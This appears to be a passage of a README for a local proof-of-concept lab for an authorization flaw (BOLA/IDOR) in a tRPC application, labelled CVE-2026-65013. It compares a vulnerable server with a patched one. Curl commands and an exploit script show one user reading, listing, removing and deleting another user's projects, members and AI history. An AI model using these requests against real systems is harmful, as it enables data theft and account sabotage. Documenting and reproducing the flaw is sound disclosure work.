project.get({ projectId })                // 모든 프로젝트 읽기
member.remove({ projectId, userId })      // 누구든 추방
chat.conversation.delete({ conversationId }) // AI 기록 삭제
settings.get({ projectId })               // API 키가 포함된 settings

docker compose up -d --build
curl -s http://localhost:3000/health        # {"status":"ok","fixed":false}   → 취약
curl -s http://localhost:3001/health        # {"status":"ok","fixed":true}    → 패치됨

curl -s http://localhost:3000/demo/ids      # 피해자(Alice) 시드의 id

TOKEN=$(curl -s -X POST http://localhost:3000/login \
  -H 'content-type: application/json' \
  -d '{"email":"[email protected]","password":"bob123"}' | node -pe 'JSON.parse(require("fs").readFileSync(0,"utf8")).token')

# 3a. Alice의 비밀 프로젝트 읽기 (GET, input={"json":...} 형식):
curl -s "http://localhost:3000/api/trpc/project.get?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
  -H "Authorization: Bearer $TOKEN"

# → {"result":{"data":{"json":{"id":"1111...","name":"Lanzamiento Q3 (PROYECTO SECRETO)",...}}}}

# 3b. 멤버 및 이메일 목록 조회 (프로젝트 외부인임에도):
curl -s "http://localhost:3000/api/trpc/member.list?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
  -H "Authorization: Bearer $TOKEN"

# 3c. Alice (owner)를 자신의 프로젝트에서 추방 (POST mutation):
curl -s -X POST http://localhost:3000/api/trpc/member.remove \
  -H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
  -d '{"json":{"projectId":"11111111-1111-4111-8111-111111111111","userId":"aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa"}}'

# → {"result":{"data":{"json":true}}}     ← (Alice는 더 이상 자신의 프로젝트에 없음)

# 3d. Alice의 AI 기록 삭제:
curl -s -X POST http://localhost:3000/api/trpc/chat.conversation.delete \
  -H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
  -d '{"json":{"conversationId":"44444444-4444-4444-8444-444444444444"}}'

node exploit.js                                  # :3000 (취약) 대상  → 유출
node exploit.js --target http://localhost:3001 --expect blocked   # :3001 (패치됨) 대상

💥 project.get              → FILTRADO
💥 member.remove            → FILTRADO   (membership ajeno borrado: true)
💥 chat.conversation.delete → FILTRADO   (historial de IA ajeno borrado: true)
...
✅ 12/12 — CVE-2026-65013 CONFIRMADA: bob leyó/borró recursos de alice.

🛡️ project.get              → BLOQUEADO   (Unauthorized or not found)
...
✅ 12/12 — Servidor PARCHEADO: el mismo ataque fue bloqueado.

npm run demo        # 프로세스 내에서 취약 vs 패치 비교 (네트워크 없음), 12개 프로시저
bash test-local.sh  # 종합 하네스: curl (advisory 형식) + :3100 및 :3101 대상 exploit, 실제 exit code

docker compose up -d demo
docker logs cve-2026-65013-demo

open http://localhost:3000        # (또는 패치 버전은 http://localhost:3001)

.
├── Dockerfile               node:22-alpine + deps + app
├── docker-compose.yml       server (vulnerable :3000), server-fixed (:3001), demo — misma imagen, cambia FIXED
├── .dockerignore            excluye node_modules
├── .gitignore
├── package.json             @trpc/[email protected], @trpc/client, superjson, zod
├── server.js                HTTP: /health, /login, /demo/ids, /api/trpc/*, estáticos (FIXED=env)
├── exploit.js               PoC automatizado (cadena BOLA/IDOR de 12 pasos)
├── demo.js                  comparación vulnerable vs parcheado en proceso
├── test-local.sh            batería local: curl (formato advisory) + exploits + exit code
├── lib/
│   ├── db.js                base en memoria + seed (UUIDs estáticos y reproducibles)
│   ├── auth.js              tokens de sesión HS256 (bien hechos a propósito)
│   ├── authorization.js     helpers del FIX (commit 423e2e9) → "Unauthorized or not found"
│   └── router.js            createAppRouter({ enforceAuth }) — el surface tRPC
├── public/                  app "real" (login, dashboard, consola Red Team)
│   ├── index.html
│   ├── styles.css
│   └── app.js               cliente tRPC manual (mismo wire format del advisory)
└── docs/
    ├── CVE-2026-65013.md    documentación técnica de la CVE
    └── ARQUITECTURA.md       este repo explicado (mapa, wire format, extensión)